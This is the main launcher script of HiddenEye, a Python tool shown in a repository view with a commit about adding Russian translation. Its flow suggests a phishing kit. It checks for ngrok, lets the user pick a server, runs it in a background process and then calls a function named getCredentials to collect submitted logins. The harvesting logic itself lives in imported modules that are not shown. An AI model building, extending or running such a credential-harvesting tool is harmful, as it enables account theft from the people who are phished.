HiddenEye-Legacy/HiddenEye.py
Artur Tretiak 83a738b3f8 Ability to change language!
New - Full Russian Translation 
New - Change language using Settings.ini
2018-11-19 19:49:09 +02:00

37 lines
772 B
Python

#!/usr/bin/python3
#
#HiddenEye by Open Source Community
#
import multiprocessing
import gettext
from Defs.Checks import *
from Defs.Configurations import *
from Defs.Actions import *
from Defs.Languages import *
#ru = gettext.translation('hiddeneye',localedir='./locale', languages=['ru'])
#ru.install()
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
checkAndSetLanguage()
checkConnection()
checkNgrok()
ifSettingsNotExists()
readConfig()
if __name__ == "__main__":
try:
runMainMenu()
inputCustom()
##############
selectServer()
multiprocessing.Process(target=runServer).start()
getCredentials()
except KeyboardInterrupt:
endMessage()
exit(0)